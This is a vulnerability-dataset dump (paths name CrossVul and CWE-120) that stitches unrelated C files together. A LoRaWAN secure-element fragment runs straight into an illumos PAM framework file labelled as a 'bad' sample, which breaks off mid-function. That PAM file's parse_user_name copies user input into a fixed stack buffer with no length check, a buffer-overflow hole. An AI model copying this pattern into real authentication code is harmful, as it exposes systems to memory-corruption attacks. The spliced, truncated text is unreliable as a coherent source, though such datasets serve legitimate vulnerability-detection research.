// For LoRaWAN 1.1.x and later: // cmac = aes128_cmac(JSIntKey, JoinReqType | JoinEUI | DevNonce | MHDR | JoinNonce | NetID | DevAddr | // DLSettings | RxDelay | CFList | CFListType) // Prepare the msg for integrity check (adding JoinReqType, JoinEUI and DevNonce) uint8_t localBuffer[LORAMAC_JOIN_ACCEPT_FRAME_MAX_SIZE + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET] = { 0 }; memcpy1( localBuffer, micHeader11, JOIN_ACCEPT_MIC_COMPUTATION_OFFSET ); memcpy1( localBuffer + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET - 1, decJoinAccept, encJoinAcceptSize ); if( SecureElementVerifyAesCmac( localBuffer, encJoinAcceptSize + JOIN_ACCEPT_MIC_COMPUTATION_OFFSET - LORAMAC_MHDR_FIELD_SIZE - LORAMAC_MIC_FIELD_SIZE, mic, J_S_INT_KEY ) != SECURE_ELEMENT_SUCCESS ) { return SECURE_ELEMENT_FAIL_CMAC; } } #endif else { return SECURE_ELEMENT_ERROR_INVALID_LORAWAM_SPEC_VERSION; } return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementRandomNumber( uint32_t* randomNum ) { if( randomNum == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } *randomNum = ATECC608ASeHalGetRandomNumber( ); return SECURE_ELEMENT_SUCCESS; } SecureElementStatus_t SecureElementSetDevEui( uint8_t* devEui ) { if( devEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.DevEui, devEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetDevEui( void ) { return SeNvmCtx.DevEui; } SecureElementStatus_t SecureElementSetJoinEui( uint8_t* joinEui ) { if( joinEui == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.JoinEui, joinEui, SE_EUI_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetJoinEui( void ) { return SeNvmCtx.JoinEui; } SecureElementStatus_t SecureElementSetPin( uint8_t* pin ) { if( pin == NULL ) { return SECURE_ELEMENT_ERROR_NPE; } memcpy1( SeNvmCtx.Pin, pin, SE_PIN_SIZE ); SeNvmCtxChanged( ); return SECURE_ELEMENT_SUCCESS; } uint8_t* SecureElementGetPin( void ) { return SeNvmCtx.Pin; }
./CrossVul/dataset_final_sorted/CWE-120/c/good_3927_1
crossvul-cpp_data_bad_4424_0
/* * CDDL HEADER START * * The contents of this file are subject to the terms of the * Common Development and Distribution License (the "License"). * You may not use this file except in compliance with the License. * * You can obtain a copy of the license at usr/src/OPENSOLARIS.LICENSE * or http://www.opensolaris.org/os/licensing. * See the License for the specific language governing permissions * and limitations under the License. * * When distributing Covered Code, include this CDDL HEADER in each * file and include the License file at usr/src/OPENSOLARIS.LICENSE. * If applicable, add the following below this CDDL HEADER, with the * fields enclosed by brackets "[]" replaced with your own identifying * information: Portions Copyright [yyyy] [name of copyright owner] * * CDDL HEADER END */ /* * Copyright 2009 Sun Microsystems, Inc. All rights reserved. * Use is subject to license terms. */ /* * Copyright (c) 2019, Joyent, Inc. */ #include <syslog.h> #include <dlfcn.h> #include <sys/types.h> #include <sys/stat.h> #include <stdlib.h> #include <strings.h> #include <malloc.h> #include <unistd.h> #include <fcntl.h> #include <errno.h> #include <security/pam_appl.h> #include <security/pam_modules.h> #include <sys/mman.h> #include <libintl.h> #include "pam_impl.h" static char *pam_snames [PAM_NUM_MODULE_TYPES] = { PAM_ACCOUNT_NAME, PAM_AUTH_NAME, PAM_PASSWORD_NAME, PAM_SESSION_NAME }; static char *pam_inames [PAM_MAX_ITEMS] = { /* NONE */ NULL, /* PAM_SERVICE */ "service", /* PAM_USER */ "user", /* PAM_TTY */ "tty", /* PAM_RHOST */ "rhost", /* PAM_CONV */ "conv", /* PAM_AUTHTOK */ "authtok", /* PAM_OLDAUTHTOK */ "oldauthtok", /* PAM_RUSER */ "ruser", /* PAM_USER_PROMPT */ "user_prompt", /* PAM_REPOSITORY */ "repository", /* PAM_RESOURCE */ "resource", /* PAM_AUSER */ "auser", /* Undefined Items */ }; /* * This extra definition is needed in order to build this library * on pre-64-bit-aware systems. */ #if !defined(_LFS64_LARGEFILE) #define stat64 stat #endif /* !defined(_LFS64_LARGEFILE) */ /* functions to dynamically load modules */ static int load_modules(pam_handle_t *, int, char *, pamtab_t *); static void *open_module(pam_handle_t *, char *); static int load_function(void *, char *, int (**func)()); /* functions to read and store the pam.conf configuration file */ static int open_pam_conf(struct pam_fh **, pam_handle_t *, char *); static void close_pam_conf(struct pam_fh *); static int read_pam_conf(pam_handle_t *, char *); static int get_pam_conf_entry(struct pam_fh *, pam_handle_t *, pamtab_t **); static char *read_next_token(char **); static char *nextline(struct pam_fh *, pam_handle_t *, int *); static int verify_pam_conf(pamtab_t *, char *); /* functions to clean up and free memory */ static void clean_up(pam_handle_t *); static void free_pamconf(pamtab_t *); static void free_pam_conf_info(pam_handle_t *); static void free_env(env_list *); /* convenience functions for I18N/L10N communication */ static void free_resp(int, struct pam_response *); static int do_conv(pam_handle_t *, int, int, char messages[PAM_MAX_NUM_MSG][PAM_MAX_MSG_SIZE], void *, struct pam_response **); static int log_priority; /* pam_trace syslog priority & facility */ static int pam_debug = 0; static char * pam_trace_iname(int item_type, char *iname_buf) { char *name; if (item_type <= 0 || item_type >= PAM_MAX_ITEMS || (name = pam_inames[item_type]) == NULL) { (void) sprintf(iname_buf, "%d", item_type); return (iname_buf); } return (name); } static char * pam_trace_fname(int flag) { if (flag & PAM_BINDING) return (PAM_BINDING_NAME); if (flag & PAM_INCLUDE) return (PAM_INCLUDE_NAME); if (flag & PAM_OPTIONAL) return (PAM_OPTIONAL_NAME); if (flag & PAM_REQUIRED) return (PAM_REQUIRED_NAME); if (flag & PAM_REQUISITE) return (PAM_REQUISITE_NAME); if (flag & PAM_SUFFICIENT) return (PAM_SUFFICIENT_NAME); return ("bad flag name"); } static char * pam_trace_cname(pam_handle_t *pamh) { if (pamh->pam_conf_name[pamh->include_depth] == NULL) return ("NULL"); return (pamh->pam_conf_name[pamh->include_depth]); } #include <deflt.h> #include <stdarg.h> /* * pam_settrace - setup configuration for pam tracing * * turn on PAM debug if "magic" file exists * if exists (original), pam_debug = PAM_DEBUG_DEFAULT, * log_priority = LOG_DEBUG(7) and log_facility = LOG_AUTH(4). * * if has contents, keywork=value pairs: * * "log_priority=" 0-7, the pam_trace syslog priority to use * (see sys/syslog.h) * "log_facility=" 0-23, the pam_trace syslog facility to use * (see sys/syslog.h) * "debug_flags=" PAM_DEBUG_DEFAULT (0x0001), log traditional * (original) debugging. * Plus the logical or of: * PAM_DEBUG_ITEM (0x0002), log item values and * pam_get_item. * PAM_DEBUG_MODULE (0x0004), log module return status. * PAM_DEBUG_CONF (0x0008), log pam.conf parsing. * PAM_DEBUG_DATA (0x0010), get/set_data. * PAM_DEBUG_CONV (0x0020), conversation/response. * * If compiled with DEBUG: * PAM_DEBUG_AUTHTOK (0x8000), display AUTHTOK value if * PAM_DEBUG_ITEM is set and results from * PAM_PROMPT_ECHO_OFF responses. * USE CAREFULLY, THIS EXPOSES THE USER'S PASSWORDS. * * or set to 0 and off even if PAM_DEBUG file exists. * * Output has the general form: * <whatever was set syslog> PAM[<pid>]: <interface>(<handle> and other info) * <whatever was set syslog> PAM[<pid>]: details requested for <interface> call * Where: <pid> is the process ID of the calling process. * <handle> is the Hex value of the pam_handle associated with the * call. */ static void pam_settrace() { void *defp; if ((defp = defopen_r(PAM_DEBUG)) != NULL) { char *arg; int code; int facility = LOG_AUTH; pam_debug = PAM_DEBUG_DEFAULT; log_priority = LOG_DEBUG; (void) defcntl_r(DC_SETFLAGS, DC_CASE, defp); if ((arg = defread_r(LOG_PRIORITY, defp)) != NULL) { code = (int)strtol(arg, NULL, 10); if ((code & ~LOG_PRIMASK) == 0) { log_priority = code; } } if ((arg = defread_r(LOG_FACILITY, defp)) != NULL) { code = (int)strtol(arg, NULL, 10); if (code < LOG_NFACILITIES) { facility = code << 3; } } if ((arg = defread_r(DEBUG_FLAGS, defp)) != NULL) { pam_debug = (int)strtol(arg, NULL, 0); } defclose_r(defp); log_priority |= facility; } } /* * pam_trace - logs tracing messages * * flag = debug_flags from /etc/pam_debug * format and args = message to print (PAM[<pid>]: is prepended). * * global log_priority = pam_trace syslog (log_priority | log_facility) * from /etc/pam_debug */ /*PRINTFLIKE2*/ static void pam_trace(int flag, char *format, ...) { va_list args; char message[1024]; int savemask; if ((pam_debug & flag) == 0) return; savemask = setlogmask(LOG_MASK(log_priority & LOG_PRIMASK)); (void) snprintf(message, sizeof (message), "PAM[%ld]: %s", (long)getpid(), format); va_start(args, format); (void) vsyslog(log_priority, message, args); va_end(args); (void) setlogmask(savemask); } /* * __pam_log - logs PAM syslog messages * * priority = message priority * format and args = message to log */ /*PRINTFLIKE2*/ void __pam_log(int priority, const char *format, ...) { va_list args; int savemask = setlogmask(LOG_MASK(priority & LOG_PRIMASK)); va_start(args, format); (void) vsyslog(priority, format, args); va_end(args); (void) setlogmask(savemask); } /* * pam_XXXXX routines * * These are the entry points to the authentication switch */ /* * pam_start - initiate an authentication transaction and * set parameter values to be used during the * transaction */ int pam_start(const char *service, const char *user, const struct pam_conv *pam_conv, pam_handle_t **pamh) { int err; *pamh = calloc(1, sizeof (struct pam_handle)); pam_settrace(); pam_trace(PAM_DEBUG_DEFAULT, "pam_start(%s,%s,%p:%p) - debug = %x", service ? service : "NULL", user ? user : "NULL", (void *)pam_conv, (void *)*pamh, pam_debug); if (*pamh == NULL) return (PAM_BUF_ERR); (*pamh)->pam_inmodule = RO_OK; /* OK to set RO items */ if ((err = pam_set_item(*pamh, PAM_SERVICE, (void *)service)) != PAM_SUCCESS) { clean_up(*pamh); *pamh = NULL; return (err); } if ((err = pam_set_item(*pamh, PAM_USER, (void *)user)) != PAM_SUCCESS) { clean_up(*pamh); *pamh = NULL; return (err); } if ((err = pam_set_item(*pamh, PAM_CONV, (void *)pam_conv)) != PAM_SUCCESS) { clean_up(*pamh); *pamh = NULL; return (err); } (*pamh)->pam_inmodule = RW_OK; return (PAM_SUCCESS); } /* * pam_end - terminate an authentication transaction */ int pam_end(pam_handle_t *pamh, int pam_status) { struct pam_module_data *psd, *p; fd_list *expired; fd_list *traverse; env_list *env_expired; env_list *env_traverse; pam_trace(PAM_DEBUG_DEFAULT, "pam_end(%p): status = %s", (void *)pamh, pam_strerror(pamh, pam_status)); if (pamh == NULL) return (PAM_SYSTEM_ERR); /* call the cleanup routines for module specific data */ psd = pamh->ssd; while (psd) { if (psd->cleanup) { psd->cleanup(pamh, psd->data, pam_status); } p = psd; psd = p->next; free(p->module_data_name); free(p); } pamh->ssd = NULL; /* dlclose all module fds */ traverse = pamh->fd; while (traverse) { expired = traverse; traverse = traverse->next; (void) dlclose(expired->mh); free(expired); } pamh->fd = 0; /* remove all environment variables */ env_traverse = pamh->pam_env; while (env_traverse) { env_expired = env_traverse; env_traverse = env_traverse->next; free_env(env_expired); } clean_up(pamh); return (PAM_SUCCESS); } /* * pam_set_item - set the value of a parameter that can be * retrieved via a call to pam_get_item() */ int pam_set_item(pam_handle_t *pamh, int item_type, const void *item) { struct pam_item *pip; int size; char iname_buf[PAM_MAX_MSG_SIZE]; if (((pam_debug & PAM_DEBUG_ITEM) == 0) || (pamh == NULL)) { pam_trace(PAM_DEBUG_DEFAULT, "pam_set_item(%p:%s)", (void *)pamh, pam_trace_iname(item_type, iname_buf)); } if (pamh == NULL) return (PAM_SYSTEM_ERR); /* check read only items */ if ((item_type == PAM_SERVICE) && (pamh->pam_inmodule != RO_OK)) return (PAM_PERM_DENIED); /* * Check that item_type is within valid range */ if (item_type <= 0 || item_type >= PAM_MAX_ITEMS) return (PAM_SYMBOL_ERR); pip = &(pamh->ps_item[item_type]); switch (item_type) { case PAM_AUTHTOK: case PAM_OLDAUTHTOK: if (pip->pi_addr != NULL) (void) memset(pip->pi_addr, 0, pip->pi_size); /*FALLTHROUGH*/ case PAM_SERVICE: case PAM_USER: case PAM_TTY: case PAM_RHOST: case PAM_RUSER: case PAM_USER_PROMPT: case PAM_RESOURCE: case PAM_AUSER: if (pip->pi_addr != NULL) { free(pip->pi_addr); } if (item == NULL) { pip->pi_addr = NULL; pip->pi_size = 0; } else { pip->pi_addr = strdup((char *)item); if (pip->pi_addr == NULL) { pip->pi_size = 0; return (PAM_BUF_ERR); } pip->pi_size = strlen(pip->pi_addr); } break; case PAM_CONV: if (pip->pi_addr != NULL) free(pip->pi_addr); size = sizeof (struct pam_conv); if ((pip->pi_addr = calloc(1, size)) == NULL) return (PAM_BUF_ERR); if (item != NULL) (void) memcpy(pip->pi_addr, item, (unsigned int) size); else (void) memset(pip->pi_addr, 0, size); pip->pi_size = size; break; case PAM_REPOSITORY: if (pip->pi_addr != NULL) { pam_repository_t *auth_rep; auth_rep = (pam_repository_t *)pip->pi_addr; if (auth_rep->type != NULL) free(auth_rep->type); if (auth_rep->scope != NULL) free(auth_rep->scope); free(auth_rep); } if (item != NULL) { pam_repository_t *s, *d; size = sizeof (struct pam_repository); pip->pi_addr = calloc(1, size); if (pip->pi_addr == NULL) return (PAM_BUF_ERR); s = (struct pam_repository *)item; d = (struct pam_repository *)pip->pi_addr; d->type = strdup(s->type); if (d->type == NULL) return (PAM_BUF_ERR); d->scope = malloc(s->scope_len); if (d->scope == NULL) return (PAM_BUF_ERR); (void) memcpy(d->scope, s->scope, s->scope_len); d->scope_len = s->scope_len; } pip->pi_size = size; break; default: return (PAM_SYMBOL_ERR); } switch (item_type) { case PAM_CONV: pam_trace(PAM_DEBUG_ITEM, "pam_set_item(%p:%s)=%p", (void *)pamh, pam_trace_iname(item_type, iname_buf), item ? (void *)((struct pam_conv *)item)->conv : (void *)0); break; case PAM_REPOSITORY: pam_trace(PAM_DEBUG_ITEM, "pam_set_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), item ? (((struct pam_repository *)item)->type ? ((struct pam_repository *)item)->type : "NULL") : "NULL"); break; case PAM_AUTHTOK: case PAM_OLDAUTHTOK: #ifdef DEBUG if (pam_debug & PAM_DEBUG_AUTHTOK) pam_trace(PAM_DEBUG_ITEM, "pam_set_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), item ? (char *)item : "NULL"); else #endif /* DEBUG */ pam_trace(PAM_DEBUG_ITEM, "pam_set_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), item ? "********" : "NULL"); break; default: pam_trace(PAM_DEBUG_ITEM, "pam_set_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), item ? (char *)item : "NULL"); } return (PAM_SUCCESS); } /* * pam_get_item - read the value of a parameter specified in * the call to pam_set_item() */ int pam_get_item(const pam_handle_t *pamh, int item_type, void **item) { struct pam_item *pip; char iname_buf[PAM_MAX_MSG_SIZE]; if (((pam_debug & PAM_DEBUG_ITEM) == 0) || (pamh == NULL)) { pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)", (void *)pamh, pam_trace_iname(item_type, iname_buf)); } if (pamh == NULL) return (PAM_SYSTEM_ERR); if (item_type <= 0 || item_type >= PAM_MAX_ITEMS) return (PAM_SYMBOL_ERR); if ((pamh->pam_inmodule != WO_OK) && ((item_type == PAM_AUTHTOK || item_type == PAM_OLDAUTHTOK))) { __pam_log(LOG_AUTH | LOG_NOTICE, "pam_get_item(%s) called from " "a non module context", pam_trace_iname(item_type, iname_buf)); return (PAM_PERM_DENIED); } pip = (struct pam_item *)&(pamh->ps_item[item_type]); *item = pip->pi_addr; switch (item_type) { case PAM_CONV: pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)=%p", (void *)pamh, pam_trace_iname(item_type, iname_buf), (void *)((struct pam_conv *)*item)->conv); break; case PAM_REPOSITORY: pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), *item ? (((struct pam_repository *)*item)->type ? ((struct pam_repository *)*item)->type : "NULL") : "NULL"); break; case PAM_AUTHTOK: case PAM_OLDAUTHTOK: #ifdef DEBUG if (pam_debug & PAM_DEBUG_AUTHTOK) pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), *item ? *(char **)item : "NULL"); else #endif /* DEBUG */ pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), *item ? "********" : "NULL"); break; default: pam_trace(PAM_DEBUG_ITEM, "pam_get_item(%p:%s)=%s", (void *)pamh, pam_trace_iname(item_type, iname_buf), *item ? *(char **)item : "NULL"); } return (PAM_SUCCESS); } /* * parse_user_name - process the user response: ignore * '\t' or ' ' before or after a user name. * user_input is a null terminated string. * *ret_username will be the user name. */ static int parse_user_name(char *user_input, char **ret_username) { register char *ptr; register int index = 0; char username[PAM_MAX_RESP_SIZE]; /* Set the default value for *ret_username */ *ret_username = NULL; /* * Set the initial value for username - this is a buffer holds * the user name. */ bzero((void *)username, PAM_MAX_RESP_SIZE); /* * The user_input is guaranteed to be terminated by a null character. */ ptr = user_input; /* Skip all the leading whitespaces if there are any. */ while ((*ptr == ' ') || (*ptr == '\t')) ptr++; if (*ptr == '\0') { /* * We should never get here since the user_input we got * in pam_get_user() is not all whitespaces nor just "\0". */ return (PAM_BUF_ERR); } /* * username will be the first string we get from user_input * - we skip leading whitespaces and ignore trailing whitespaces */ while (*ptr != '\0') { if ((*ptr == ' ') || (*ptr == '\t')) break; else { username[index] = *ptr; index++; ptr++; } } /* ret_username will be freed in pam_get_user(). */ if ((*ret_username = malloc(index + 1)) == NULL) return (PAM_BUF_ERR); (void) strcpy(*ret_username, username); return (PAM_SUCCESS); } /* * Get the value of PAM_USER. If not set, then use the convenience function * to prompt for the user. Use prompt if specified, else use PAM_USER_PROMPT * if it is set, else use default. */ #define WHITESPACE 0 #define USERNAME 1 int pam_get_user(pam_handle_t *pamh, char **user, const char *prompt_override) { int status; char *prompt = NULL; char *real_username; struct pam_response *ret_resp = NULL; char messages[PAM_MAX_NUM_MSG][PAM_MAX_MSG_SIZE]; pam_trace(PAM_DEBUG_DEFAULT, "pam_get_user(%p, %p, %s)", (void *)pamh, (void *)*user, prompt_override ? prompt_override : "NULL"); if (pamh == NULL) return (PAM_SYSTEM_ERR); if ((status = pam_get_item(pamh, PAM_USER, (void **)user)) != PAM_SUCCESS) { return (status); } /* if the user is set, return it */ if (*user != NULL && *user[0] != '\0') { return (PAM_SUCCESS); } /* * if the module is requesting a special prompt, use it. * else use PAM_USER_PROMPT. */ if (prompt_override != NULL) { prompt = (char *)prompt_override; } else { status = pam_get_item(pamh, PAM_USER_PROMPT, (void**)&prompt); if (status != PAM_SUCCESS) { return (status); } } /* if the prompt is not set, use default */ if (prompt == NULL || prompt[0] == '\0') { prompt = dgettext(TEXT_DOMAIN, "Please enter user name: "); } /* prompt for the user */ (void) strncpy(messages[0], prompt, sizeof (messages[0])); for (;;) { int state = WHITESPACE; status = do_conv(pamh, PAM_PROMPT_ECHO_ON, 1, messages, NULL, &ret_resp); if (status != PAM_SUCCESS) { return (status); } if (ret_resp->resp && ret_resp->resp[0] != '\0') { int len = strlen(ret_resp->resp); int i; for (i = 0; i < len; i++) { if ((ret_resp->resp[i] != ' ') && (ret_resp->resp[i] != '\t')) { state = USERNAME; break; } } if (state == USERNAME) break; } /* essentially empty response, try again */ free_resp(1, ret_resp); ret_resp = NULL; } /* set PAM_USER */ /* Parse the user input to get the user name. */ status = parse_user_name(ret_resp->resp, &real_username); if (status != PAM_SUCCESS) { if (real_username != NULL) free(real_username); free_resp(1, ret_resp); return (status); } status = pam_set_item(pamh, PAM_USER, real_username); free(real_username); free_resp(1, ret_resp); if (status != PAM_SUCCESS) { return (status); } /* * finally, get PAM_USER. We have to call pam_get_item to get * the value of user because pam_set_item mallocs the memory. */ status = pam_get_item(pamh, PAM_USER, (void**)user); return (status); } /* * Set module specific data */ int pam_set_data(pam_handle_t *pamh, const char *module_data_name, void *data, void (*cleanup)(pam_handle_t *pamh, void *data, int pam_end_status)) { struct pam_module_data *psd; pam_trace(PAM_DEBUG_DATA, "pam_set_data(%p:%s:%d)=%p", (void *)pamh, (module_data_name != NULL) ? module_data_name : "NULL", (pamh != NULL) ? pamh->pam_inmodule : -1, data); if (pamh == NULL || (pamh->pam_inmodule != WO_OK) || module_data_name == NULL) { return (PAM_SYSTEM_ERR); } /* check if module data already exists */ for (psd = pamh->ssd; psd; psd = psd->next) { if (strcmp(psd->module_data_name, module_data_name) == 0) { /* clean up original data before setting the new data */ if (psd->cleanup) { psd->cleanup(pamh, psd->data, PAM_SUCCESS); } psd->data = (void *)data; psd->cleanup = cleanup; return (PAM_SUCCESS); } } psd = malloc(sizeof (struct pam_module_data)); if (psd == NULL) return (PAM_BUF_ERR); psd->module_data_name = strdup(module_data_name); if (psd->module_data_name == NULL) { free(psd); return (PAM_BUF_ERR); } psd->data = (void *)data; psd->cleanup = cleanup; psd->next = pamh->ssd; pamh->ssd = psd; return (PAM_SUCCESS); } /* * get module specific data */ int pam_get_data(const pam_handle_t *pamh, const char *module_data_name, const void **data) { struct pam_module_data *psd; if (pamh == NULL || (pamh->pam_inmodule != WO_OK) || module_data_name == NULL) { pam_trace(PAM_DEBUG_DATA, "pam_get_data(%p:%s:%d)=%p", (void *)pamh, module_data_name ? module_data_name : "NULL", pamh->pam_inmodule, *data); return (PAM_SYSTEM_ERR); } for (psd = pamh->ssd; psd; psd = psd->next) { if (strcmp(psd->module_data_name, module_data_name) == 0) { *data = psd->data; pam_trace(PAM_DEBUG_DATA, "pam_get_data(%p:%s)=%p", (void *)pamh, module_data_name, *data); return (PAM_SUCCESS); } } pam_trace(PAM_DEBUG_DATA, "pam_get_data(%p:%s)=%s", (void *)pamh, module_data_name, "PAM_NO_MODULE_DATA"); return (PAM_NO_MODULE_DATA); } /* * PAM equivalent to strerror() */ /* ARGSUSED */ const char * pam_strerror(pam_handle_t *pamh, int errnum) { switch (errnum) { case PAM_SUCCESS: return (dgettext(TEXT_DOMAIN, "Success")); case PAM_OPEN_ERR: return (dgettext(TEXT_DOMAIN, "Dlopen failure")); case PAM_SYMBOL_ERR: return (dgettext(TEXT_DOMAIN, "Symbol not found")); case PAM_SERVICE_ERR: return (dgettext(TEXT_DOMAIN, "Error in underlying service module")); case PAM_SYSTEM_ERR: return (dgettext(TEXT_DOMAIN, "System error")); case PAM_BUF_ERR: return (dgettext(TEXT_DOMAIN, "Memory buffer error")); case PAM_CONV_ERR: return (dgettext(TEXT_DOMAIN, "Conversation failure")); case PAM_PERM_DENIED: return (dgettext(TEXT_DOMAIN, "Permission denied")); case PAM_MAXTRIES: return (dgettext(TEXT_DOMAIN, "Maximum number of attempts exceeded")); case PAM_AUTH_ERR: return (dgettext(TEXT_DOMAIN, "Authentication failed")); case PAM_NEW_AUTHTOK_REQD: return (dgettext(TEXT_DOMAIN, "Get new authentication token")); case PAM_CRED_INSUFFICIENT: return (dgettext(TEXT_DOMAIN, "Insufficient credentials")); case PAM_AUTHINFO_UNAVAIL: return (dgettext(TEXT_DOMAIN, "Can not retrieve authentication info")); case PAM_USER_UNKNOWN: return (dgettext(TEXT_DOMAIN, "No account present for user")); case PAM_CRED_UNAVAIL: return (dgettext(TEXT_DOMAIN, "Can not retrieve user credentials")); case PAM_CRED_EXPIRED: return (dgettext(TEXT_DOMAIN, "User credentials have expired")); case PAM_CRED_ERR: return (dgettext(TEXT_DOMAIN, "Failure setting user credentials")); case PAM_ACCT_EXPIRED: return (dgettext(TEXT_DOMAIN, "User account has expired")); case PAM_AUTHTOK_EXPIRED: return (dgettext(TEXT_DOMAIN, "User password has expired")); case PAM_SESSION_ERR: return (dgettext(TEXT_DOMAIN, "Can not make/remove entry for session")); case PAM_AUTHTOK_ERR: return (dgettext(TEXT_DOMAIN, "Authentication token manipulation error")); case PAM_AUTHTOK_RECOVERY_ERR: return (dgettext(TEXT_DOMAIN, "Authentication token can not be recovered")); case PAM_AUTHTOK_LOCK_BUSY: return (dgettext(TEXT_DOMAIN, "Authentication token lock busy")); case PAM_AUTHTOK_DISABLE_AGING: return (dgettext(TEXT_DOMAIN, "Authentication token aging disabled")); case PAM_NO_MODULE_DATA: return (dgettext(TEXT_DOMAIN, "Module specific data not found")); case PAM_IGNORE: return (dgettext(TEXT_DOMAIN, "Ignore module")); case PAM_ABORT: return (dgettext(TEXT_DOMAIN, "General PAM failure ")); case PAM_TRY_AGAIN: return (dgettext(TEXT_DOMAIN, "Unable to complete operation. Try again")); default: return (dgettext(TEXT_DOMAIN, "Unknown error")); } } static void * sm_name(int ind) { switch (ind) { case PAM_AUTHENTICATE: return (PAM_SM_AUTHENTICATE); case PAM_SETCRED: return (PAM_SM_SETCRED); case PAM_ACCT_MGMT: return (PAM_SM_ACCT_MGMT); case PAM_OPEN_SESSION: return (PAM_SM_OPEN_SESSION); case PAM_CLOSE_SESSION: return (PAM_SM_CLOSE_SESSION); case PAM_CHAUTHTOK: return (PAM_SM_CHAUTHTOK); } return (NULL); } static int (*func(pamtab_t *modulep, int ind))() { void *funcp; if ((funcp = modulep->function_ptr) == NULL) return (NULL); switch (ind) { case PAM_AUTHENTICATE: return (((struct auth_module *)funcp)->pam_sm_authenticate); case PAM_SETCRED: return (((struct auth_module *)funcp)->pam_sm_setcred); case PAM_ACCT_MGMT: return (((struct account_module *)funcp)->pam_sm_acct_mgmt); case PAM_OPEN_SESSION: return (((struct session_module *)funcp)->pam_sm_open_session); case PAM_CLOSE_SESSION: return (((struct session_module *)funcp)->pam_sm_close_session); case PAM_CHAUTHTOK: return (((struct password_module *)funcp)->pam_sm_chauthtok); } return (NULL); } /* * Run through the PAM service module stack for the given module type. */ static int run_stack(pam_handle_t *pamh, int flags, int type, int def_err, int ind, char *function_name) { int err = PAM_SYSTEM_ERR; /* preset */ int optional_error = 0; int required_error = 0; int success = 0; pamtab_t *modulep; int (*sm_func)(); if (pamh == NULL) return (PAM_SYSTEM_ERR); /* read initial entries from pam.conf */ if ((err = read_pam_conf(pamh, PAM_CONFIG)) != PAM_SUCCESS) { return (err); } if ((modulep = pamh->pam_conf_info[pamh->include_depth][type]) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "%s no initial module present", pam_trace_cname(pamh)); goto exit_return; } pamh->pam_inmodule = WO_OK; /* OK to get AUTHTOK */ include: pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:run_stack:%s(%p, %x): %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, modulep ? modulep->module_path : "NULL"); while (modulep != NULL) { if (modulep->pam_flag & PAM_INCLUDE) { /* save the return location */ pamh->pam_conf_modulep[pamh->include_depth] = modulep->next; pam_trace(PAM_DEBUG_MODULE, "setting for include[%d:%p]", pamh->include_depth, (void *)modulep->next); if (pamh->include_depth++ >= PAM_MAX_INCLUDE) { __pam_log(LOG_AUTH | LOG_ERR, "run_stack: includes too deep %d " "found trying to include %s from %s, %d " "allowed", pamh->include_depth, modulep->module_path, pamh->pam_conf_name [PAM_MAX_INCLUDE] == NULL ? "NULL" : pamh->pam_conf_name[PAM_MAX_INCLUDE], PAM_MAX_INCLUDE); goto exit_return; } if ((err = read_pam_conf(pamh, modulep->module_path)) != PAM_SUCCESS) { __pam_log(LOG_AUTH | LOG_ERR, "run_stack[%d:%s]: can't read included " "conf %s", pamh->include_depth, pam_trace_cname(pamh), modulep->module_path); goto exit_return; } if ((modulep = pamh->pam_conf_info [pamh->include_depth][type]) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "run_stack[%d:%s]: no include module " "present %s", pamh->include_depth, pam_trace_cname(pamh), function_name); goto exit_return; } if (modulep->pam_flag & PAM_INCLUDE) { /* first line another include */ goto include; } pam_trace(PAM_DEBUG_DEFAULT, "include[%d:%s]" "(%p, %s)=%s", pamh->include_depth, pam_trace_cname(pamh), (void *)pamh, function_name, modulep->module_path); if ((err = load_modules(pamh, type, sm_name(ind), pamh->pam_conf_info [pamh->include_depth][type])) != PAM_SUCCESS) { pam_trace(PAM_DEBUG_DEFAULT, "[%d:%s]:%s(%p, %x): load_modules failed", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags); goto exit_return; } if ((modulep = pamh->pam_conf_info [pamh->include_depth][type]) == NULL) { __pam_log(LOG_AUTH | LOG_ERR, "%s no initial module present", pam_trace_cname(pamh)); goto exit_return; } } else if ((err = load_modules(pamh, type, sm_name(ind), modulep)) != PAM_SUCCESS) { pam_trace(PAM_DEBUG_DEFAULT, "[%d:%s]:%s(%p, %x): load_modules failed", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags); goto exit_return; } /* PAM_INCLUDE */ sm_func = func(modulep, ind); if (sm_func) { err = sm_func(pamh, flags, modulep->module_argc, (const char **)modulep->module_argv); pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:%s(%p, %x): %s returned %s", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, modulep->module_path, pam_strerror(pamh, err)); switch (err) { case PAM_IGNORE: /* do nothing */ break; case PAM_SUCCESS: if ((modulep->pam_flag & PAM_SUFFI_BIND) && !required_error) { pamh->pam_inmodule = RW_OK; pam_trace(PAM_DEBUG_MODULE, "[%d:%s]:%s(%p, %x): %s: success", pamh->include_depth, pam_trace_cname(pamh), function_name, (void *)pamh, flags, (modulep->pam_flag & PAM_BINDING) ? PAM_BINDING_NAME : PAM_SUFFICIENT_NAME); goto 